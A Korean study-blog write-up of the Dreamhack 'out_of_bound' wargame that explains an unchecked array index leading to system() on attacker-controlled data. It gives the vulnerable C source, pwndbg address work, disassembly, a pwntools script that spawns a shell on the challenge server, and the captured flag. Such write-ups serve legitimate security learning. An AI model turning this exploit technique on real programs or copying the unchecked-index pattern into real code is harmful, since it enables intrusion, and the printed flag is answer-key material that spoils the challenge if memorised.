공부중/시스템 해킹

[Dreamhack] Exploit Tech: Out of bounds

silver surfer 2024. 9. 28.

이번 강의에서는 out_of_bound 워게임을 통한 함께 실습을 진행한다. x86, 즉 32비트의 아키텍처를 가지는 환경에서 배열의 임의 인덱스에 접근할 수 있는 경우에 진행할 수 있는 공격을 학습한다.

 

문제 목표 및 기능 요약

이 문제의 목표는 한 데이터 영역에 원하는 정보를 쓸 수 있고, 배열의 원하는 인덱스에 해당하는 주소에 해당하는 문자열을 실행시킬 수 있는 환경이 주어진다.

이 문제는 Ubuntu 22.04 운영체제에서 실습된다.

 

 

** 분석

보호기법

checksec을 사용하여 적용된 보호기법을 파악한다.

환경에는 ASLR이 적용되어있고, 바이너리에는 NX와 Canary가 적용되어있다. PIE는 적용되지 않았다.

ASLR이 적용되어 있기 때문에 실행 시마다 스택, 라이브러리의 주소가 랜덤화되고, NX가 적용되어 있기 때문에 임의의 위치에 셸코드를 집어넣은 후 그 주소의 코드를 바로 실행시킬 수 없다. Canary가 적용되어 있기 때문에 스택 맨 위에 존재하는 SFP, RET과 그 뒷 주소를 마음대로 변경할 수 없다.

PIE가 적용되지 않기 때문에 해당 바이너리가 실행되는 메모리 주소가 랜덤화되지 않는다. 따라서 데이터 영역의 변수들은 항상 정해진 주소에 할당된다.

 

코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

name 전역변수에 16바이트까지 원하는 값을 넣을 수 있고, 기본적으로 "ls", "id",  "ps", "file ./oob"의 4개의 명령어를 system 함수를 통해 셸에서 실행시킨 결과를 얻을 수 있다. 그러나 그 결과만으로는 플래그를 읽을 수 없으므로, Out of bounds 취약점을 사용해 command[idx]에 "/bin/sh\x00"이 들어가게 해본다.

 

** 익스플로잇

다시 한 번 코드를 살펴보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
    
...

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

command[idx]의 값이 "ls", "id", "ps", "file ./oob", "cat" 5개 중 하나로 정해지려면 idx에는 0~4의 값만 들어가야한다. 그러나 idx의 범위에 대한 검사를 진행하지 않기 때문에 음수 값을 집어넣어 command 주소보다 더 앞의 주소를 가져오거나, 4보다 큰 값을 집어넣어 "file ./oob"가 저장된 주소보다 뒤의 주소를 가져올 수 있다.

따라서 Out of bound 취약점이 발생한다. 본격적으로 "/bin/sh\x00" 문자열을 system 함수의 인자로 전달할 방법을 살펴보자

 

Commandname의 주소 확인

command와 name 전역변수는 PIE가 꺼져있기 때문에, 실행시마다 일정한 주소에 위치한다. pwndbg에서 각각의 주소를 확인해보자

pwndbg> p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>

Command는 0x804a060, name은 0x804a0ac로 76바이트만큼 차이가 난다.

그럼 command[idx]가 name이나 name의 한 부분을 가리키게 만들기 위해,  command[idx] 연산은 어떻게 진행되는지 알아보자

먼저 command는 char * 형으로 정의되어있다. x86, 즉 32비트 환경에서 실행되는 바이너리이기 때문에 각 주소는 32비트, 또는 4비트로 표현된다.

따라서 *command = command[0]  = 0x804a060 의 주소에 저장되어있는 값을 가지고, command[1] 은 0x804a060 + 4 = 0x804a064 의 주소에 저장되어있는 값을 가진다.

따라서 command[19] = 0x804a060 + 76 이 되어 name의 주소에 저장되어있는 값을 가리킨다.

 

system 함수에 인자 전달

그러면 name에 "/bin/sh\x00"이 저장되어있는 상황에서 idx=19를 입력해 command[19]가 name을 가리키는 상황을 생각해보자

...
   0x08048727 <+92>:    push   0x8048832
   0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
   0x08048731 <+102>:   add    esp,0x10
   0x08048734 <+105>:   mov    eax,DWORD PTR [ebp-0x10]
   0x08048737 <+108>:   mov    eax,DWORD PTR [eax*4+0x804a060]
   0x0804873e <+115>:   sub    esp,0xc
   0x08048741 <+118>:   push   eax
   0x08048742 <+119>:   call   0x8048500 <system@plt>
   0x08048747 <+124>:   add    esp,0x10
   0x0804874a <+127>:   mov    eax,0x0
   0x0804874f <+132>:   mov    edx,DWORD PTR [ebp-0xc]
   0x08048752 <+135>:   xor    edx,DWORD PTR gs:0x14
   0x08048759 <+142>:   je     0x8048760 <main+149>
   0x0804875b <+144>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048760 <+149>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048763 <+152>:   leave
   0x08048764 <+153>:   lea    esp,[ecx-0x4]
   0x08048767 <+156>:   ret
End of assembler dump.
pwndbg> b *main + 119
Breakpoint 1 at 0x8048742

system 함수 호출 직전에 breakpoint를 걸고, 위에서 설정한대로 입력을 진행해보자

 

pwndbg> r
Starting program: /home/jerry/bound/out_of_bound
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Admin name: /bin/sh
What do you want?: 19

 

─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
*EAX  0x6e69622f ('/bin')
*EBX  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
*ECX  0xffffbc24 —▸ 0xffffbc38 ◂— 0x13
 EDX  0x0
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffbd14 —▸ 0xffffbf6f ◂— '/home/jerry/bound/out_of_bound'
*EBP  0xffffbc48 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
*ESP  0xffffbc20 ◂— 0x6e69622f ('/bin')
*EIP  0x8048742 (main+119) —▸ 0xfffdb9e8 ◂— 0x0
───────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────
 ► 0x8048742 <main+119>    call   system@plt                     <system@plt>
        command: 0x6e69622f ('/bin')

system 함수에 인자로 EAX 레지스터값이 아닌 "/bin"이 들어간다. 올바르게 진행되기 위해서는 "/bin/sh\x00" 문자열 자체가 아닌 "/bin/sh\x00" 문자열이 저장되어있는 주소로 인자가 들어가야 한다. 

따라서 EAX에는 name의 주소인 0x804a0ac가 들어가야한다.

 

Payload 작성

name에 8바이트의 "/bin/sh\x00"을 넣은 후, 그 뒤에 pwntools의 p32 함수를 사용해 만든 0x804a0ac를 붙여 총 12바이트를 저장한다.

그렇게 되면 name+8이 가지는 값이 0x804a0ac이 되게 되고 command[19 + 2] = *(name + 8) = 0x804a0ac 의 값을 가지게 된다. system(0x804a0ac)을 실행하려면 0x804a0ac 주소, 즉 name에 있는 "/bin/sh\x00"을 실행시킬 수 있게 된다. 전송해야하는 idx의 값은 19가 아닌 19+2=21임에 유의하여 솔브 코드를 작성해보자. (널바이트 추가됨)

from pwn import *

p = remote("host3.dreamhack.games", 19505)

payload = b"/bin/sh\x00" + p32(0x804a0ac)

p.sendline(payload)
p.sendline(b"21")

p.interactive()

 

 

DH{2524e20ddeee45f11c8eb91804d57296}

 

 

 

 

 

 

 

댓글